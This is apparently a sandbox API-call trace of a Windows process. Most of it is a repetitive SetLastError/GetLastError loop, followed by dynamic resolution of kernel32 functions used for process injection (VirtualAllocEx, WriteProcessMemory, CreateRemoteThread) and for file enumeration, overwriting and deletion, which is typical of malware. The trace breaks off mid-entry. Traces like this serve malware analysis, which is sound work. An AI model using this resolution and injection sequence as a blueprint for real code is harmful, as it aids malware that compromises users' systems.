[0301.347] GetLastError () returned 0x21d [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x221) [0301.347] GetLastError () returned 0x221 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x225) [0301.347] GetLastError () returned 0x225 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x229) [0301.347] GetLastError () returned 0x229 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x22d) [0301.347] GetLastError () returned 0x22d [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x231) [0301.347] GetLastError () returned 0x231 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x235) [0301.347] GetLastError () returned 0x235 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x239) [0301.347] GetLastError () returned 0x239 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x23d) [0301.348] GetLastError () returned 0x23d [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x241) [0301.348] GetLastError () returned 0x241 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x245) [0301.348] GetLastError () returned 0x245 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x249) [0301.348] GetLastError () returned 0x249 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x24d) [0301.348] GetLastError () returned 0x24d [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x251) [0301.348] GetLastError () returned 0x251 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x255) [0301.348] GetLastError () returned 0x255 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x259) [0301.348] GetLastError () returned 0x259 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x25d) [0301.348] GetLastError () returned 0x25d [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x261) [0301.348] GetLastError () returned 0x261 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x265) [0301.348] GetLastError () returned 0x265 [0301.348] GetCurrentThread () returned 0xfffffffe [0301.348] SetLastError (dwErrCode=0x269) [0301.349] GetLastError () returned 0x269 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x26d) [0301.349] GetLastError () returned 0x26d [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x271) [0301.349] GetLastError () returned 0x271 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x275) [0301.349] GetLastError () returned 0x275 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x279) [0301.349] GetLastError () returned 0x279 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x27d) [0301.349] GetLastError () returned 0x27d [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x281) [0301.349] GetLastError () returned 0x281 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x285) [0301.349] GetLastError () returned 0x285 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x289) [0301.349] GetLastError () returned 0x289 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x28d) [0301.349] GetLastError () returned 0x28d [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x291) [0301.349] GetLastError () returned 0x291 [0301.349] GetCurrentThread () returned 0xfffffffe [0301.349] SetLastError (dwErrCode=0x295) [0301.349] GetLastError () returned 0x295 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x299) [0301.350] GetLastError () returned 0x299 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x29d) [0301.350] GetLastError () returned 0x29d [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2a1) [0301.350] GetLastError () returned 0x2a1 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2a5) [0301.350] GetLastError () returned 0x2a5 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2a9) [0301.350] GetLastError () returned 0x2a9 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2ad) [0301.350] GetLastError () returned 0x2ad [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2b1) [0301.350] GetLastError () returned 0x2b1 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2b5) [0301.350] GetLastError () returned 0x2b5 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2b9) [0301.350] GetLastError () returned 0x2b9 [0301.350] GetCurrentThread () returned 0xfffffffe [0301.350] SetLastError (dwErrCode=0x2bd) [0301.350] GetLastError () returned 0x2bd [0301.350] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2c1) [0301.351] GetLastError () returned 0x2c1 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2c5) [0301.351] GetLastError () returned 0x2c5 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2c9) [0301.351] GetLastError () returned 0x2c9 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2cd) [0301.351] GetLastError () returned 0x2cd [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2d1) [0301.351] GetLastError () returned 0x2d1 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2d5) [0301.351] GetLastError () returned 0x2d5 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2d9) [0301.351] GetLastError () returned 0x2d9 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2dd) [0301.351] GetLastError () returned 0x2dd [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2e1) [0301.351] GetLastError () returned 0x2e1 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2e5) [0301.351] GetLastError () returned 0x2e5 [0301.351] GetCurrentThread () returned 0xfffffffe [0301.351] SetLastError (dwErrCode=0x2e9) [0301.352] GetLastError () returned 0x2e9 [0301.352] GetCurrentThread () returned 0xfffffffe [0301.352] SetLastError (dwErrCode=0x2ed) [0301.352] GetLastError () returned 0x2ed [0301.352] GetCurrentThread () returned 0xfffffffe [0301.352] SetLastError (dwErrCode=0x2f1) [0301.352] GetLastError () returned 0x2f1 [0301.352] GetCurrentThread () returned 0xfffffffe [0301.352] SetLastError (dwErrCode=0x2f5) [0301.352] GetLastError () returned 0x2f5 [0301.352] GetCurrentThread () returned 0xfffffffe [0301.352] SetLastError (dwErrCode=0x2f9) [0301.352] GetLastError () returned 0x2f9 [0301.352] GetCurrentThread () returned 0xfffffffe [0301.352] SetLastError (dwErrCode=0x2fd) [0301.352] GetLastError () returned 0x2fd [0301.352] GetCurrentThread () returned 0xfffffffe [0301.352] SetLastError (dwErrCode=0x301) [0301.352] GetLastError () returned 0x301 [0301.352] GetCurrentThread () returned 0xfffffffe [0301.352] SetLastError (dwErrCode=0x305) [0301.352] GetLastError () returned 0x305 [0301.352] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x309) [0301.353] GetLastError () returned 0x309 [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x30d) [0301.353] GetLastError () returned 0x30d [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x311) [0301.353] GetLastError () returned 0x311 [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x315) [0301.353] GetLastError () returned 0x315 [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x319) [0301.353] GetLastError () returned 0x319 [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x31d) [0301.353] GetLastError () returned 0x31d [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x321) [0301.353] GetLastError () returned 0x321 [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x325) [0301.353] GetLastError () returned 0x325 [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x329) [0301.353] GetLastError () returned 0x329 [0301.353] GetCurrentThread () returned 0xfffffffe [0301.353] SetLastError (dwErrCode=0x32d) [0301.353] GetLastError () returned 0x32d [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x331) [0301.354] GetLastError () returned 0x331 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x335) [0301.354] GetLastError () returned 0x335 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x339) [0301.354] GetLastError () returned 0x339 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x33d) [0301.354] GetLastError () returned 0x33d [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x341) [0301.354] GetLastError () returned 0x341 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x345) [0301.354] GetLastError () returned 0x345 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x349) [0301.354] GetLastError () returned 0x349 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x34d) [0301.354] GetLastError () returned 0x34d [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x351) [0301.354] GetLastError () returned 0x351 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.354] SetLastError (dwErrCode=0x355) [0301.354] GetLastError () returned 0x355 [0301.354] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x359) [0301.355] GetLastError () returned 0x359 [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x35d) [0301.355] GetLastError () returned 0x35d [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x361) [0301.355] GetLastError () returned 0x361 [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x365) [0301.355] GetLastError () returned 0x365 [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x369) [0301.355] GetLastError () returned 0x369 [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x36d) [0301.355] GetLastError () returned 0x36d [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x371) [0301.355] GetLastError () returned 0x371 [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x375) [0301.355] GetLastError () returned 0x375 [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x379) [0301.355] GetLastError () returned 0x379 [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x37d) [0301.355] GetLastError () returned 0x37d [0301.355] GetCurrentThread () returned 0xfffffffe [0301.355] SetLastError (dwErrCode=0x381) [0301.355] GetLastError () returned 0x381 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x385) [0301.356] GetLastError () returned 0x385 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x389) [0301.356] GetLastError () returned 0x389 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x38d) [0301.356] GetLastError () returned 0x38d [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x391) [0301.356] GetLastError () returned 0x391 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x395) [0301.356] GetLastError () returned 0x395 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x399) [0301.356] GetLastError () returned 0x399 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x39d) [0301.356] GetLastError () returned 0x39d [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x3a1) [0301.356] GetLastError () returned 0x3a1 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x3a5) [0301.356] GetLastError () returned 0x3a5 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x3a9) [0301.356] GetLastError () returned 0x3a9 [0301.356] GetCurrentThread () returned 0xfffffffe [0301.356] SetLastError (dwErrCode=0x3ad) [0301.356] GetLastError () returned 0x3ad [0301.357] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3b1) [0301.359] GetLastError () returned 0x3b1 [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3b5) [0301.359] GetLastError () returned 0x3b5 [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3b9) [0301.359] GetLastError () returned 0x3b9 [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3bd) [0301.359] GetLastError () returned 0x3bd [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3c1) [0301.359] GetLastError () returned 0x3c1 [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3c5) [0301.359] GetLastError () returned 0x3c5 [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3c9) [0301.359] GetLastError () returned 0x3c9 [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3cd) [0301.359] GetLastError () returned 0x3cd [0301.359] GetCurrentThread () returned 0xfffffffe [0301.359] SetLastError (dwErrCode=0x3d1) [0301.359] GetLastError () returned 0x3d1 [0301.359] GetCurrentThread () returned 0xfffffffe [0301.360] SetLastError (dwErrCode=0x3d5) [0301.360] GetLastError () returned 0x3d5 [0301.360] GetCurrentThread () returned 0xfffffffe [0301.360] SetLastError (dwErrCode=0x3d9) [0301.360] GetLastError () returned 0x3d9 [0301.360] GetCurrentThread () returned 0xfffffffe [0301.360] SetLastError (dwErrCode=0x3dd) [0301.360] GetLastError () returned 0x3dd [0301.360] GetCurrentThread () returned 0xfffffffe [0301.360] SetLastError (dwErrCode=0x3e1) [0301.360] GetLastError () returned 0x3e1 [0301.360] GetCurrentThread () returned 0xfffffffe [0301.360] SetLastError (dwErrCode=0x3e5) [0301.360] GetLastError () returned 0x3e5 [0301.360] GetCurrentThread () returned 0xfffffffe [0301.360] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x100) returned 0x458f5a8 [0301.377] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x373c) returned 0x45104a0 [0301.377] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.377] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6c8 [0301.377] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0301.378] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0301.378] lstrlenA (lpString="kernel32.dll") returned 12 [0301.394] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.394] lstrlenA (lpString="GetModuleHandleA") returned 16 [0301.394] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.394] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.394] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6c8 [0301.394] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0301.394] lstrlenA (lpString="kernel32.dll") returned 12 [0301.394] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.394] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0301.395] lstrlenA (lpString="GetProcAddress") returned 14 [0301.395] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.395] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x19) returned 0x458f6b0 [0301.395] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0301.398] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0301.398] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.398] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.399] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0301.399] lstrlenA (lpString="Process32First") returned 14 [0301.399] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.399] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.399] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0301.399] lstrlenA (lpString="Process32Next") returned 13 [0301.399] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.399] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.399] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0301.399] lstrlenA (lpString="Module32First") returned 13 [0301.399] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.399] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.400] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0301.400] lstrlenA (lpString="Module32Next") returned 12 [0301.400] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.400] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x13) returned 0x458f6b0 [0301.400] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0301.400] lstrlenA (lpString="CreateRemoteThread") returned 18 [0301.400] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.400] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x13) returned 0x458f6b0 [0301.400] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0301.400] lstrlenA (lpString="WriteProcessMemory") returned 18 [0301.400] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.400] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x12) returned 0x458f6b0 [0301.401] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0301.401] lstrlenA (lpString="ReadProcessMemory") returned 17 [0301.401] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.401] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.401] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0301.401] lstrlenA (lpString="OpenProcess") returned 11 [0301.401] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.401] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.401] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0301.401] lstrlenA (lpString="VirtualAllocEx") returned 14 [0301.401] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.401] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.402] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0301.402] lstrlenA (lpString="VirtualFreeEx") returned 13 [0301.402] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.402] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.402] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0301.402] lstrlenA (lpString="VirtualProtect") returned 14 [0301.402] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.402] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x14) returned 0x458f6b0 [0301.402] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0301.402] lstrlenA (lpString="WaitForSingleObject") returned 19 [0301.402] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.402] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.402] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0301.403] lstrlenA (lpString="SetLastError") returned 12 [0301.403] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.403] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x15) returned 0x458f6b0 [0301.403] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0301.403] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0301.403] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.403] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x15) returned 0x458f6b0 [0301.403] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0301.403] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0301.403] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.403] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.403] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0301.403] lstrlenA (lpString="CreateProcessA") returned 14 [0301.403] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.404] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x13) returned 0x458f6b0 [0301.404] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0301.404] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0301.404] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.404] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.404] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0301.404] lstrlenA (lpString="SetFilePointer") returned 14 [0301.404] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.404] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.404] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0301.404] lstrlenA (lpString="SetEndOfFile") returned 12 [0301.404] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.404] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.405] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0301.405] lstrlenA (lpString="FindFirstFileA") returned 14 [0301.405] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.405] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.405] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0301.405] lstrlenA (lpString="FindNextFileA") returned 13 [0301.405] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.405] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xa) returned 0x458f6b0 [0301.405] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0301.405] lstrlenA (lpString="FindClose") returned 9 [0301.405] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.405] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.406] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0301.406] lstrlenA (lpString="CreateFileA") returned 11 [0301.406] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.406] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.406] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0301.406] lstrlenA (lpString="CreateFileW") returned 11 [0301.406] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.406] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x9) returned 0x458f6b0 [0301.406] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0301.406] lstrlenA (lpString="ReadFile") returned 8 [0301.406] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.406] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xa) returned 0x458f6b0 [0301.406] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0301.407] lstrlenA (lpString="WriteFile") returned 9 [0301.407] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.407] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.407] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0301.407] lstrlenA (lpString="CloseHandle") returned 11 [0301.407] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.407] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.407] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0301.407] lstrlenA (lpString="DeleteFileA") returned 11 [0301.407] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.407] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.407] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0301.407] lstrlenA (lpString="LoadLibraryA") returned 12 [0301.408] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.408] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x13) returned 0x458f6b0 [0301.408] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0301.408] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0301.408] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, 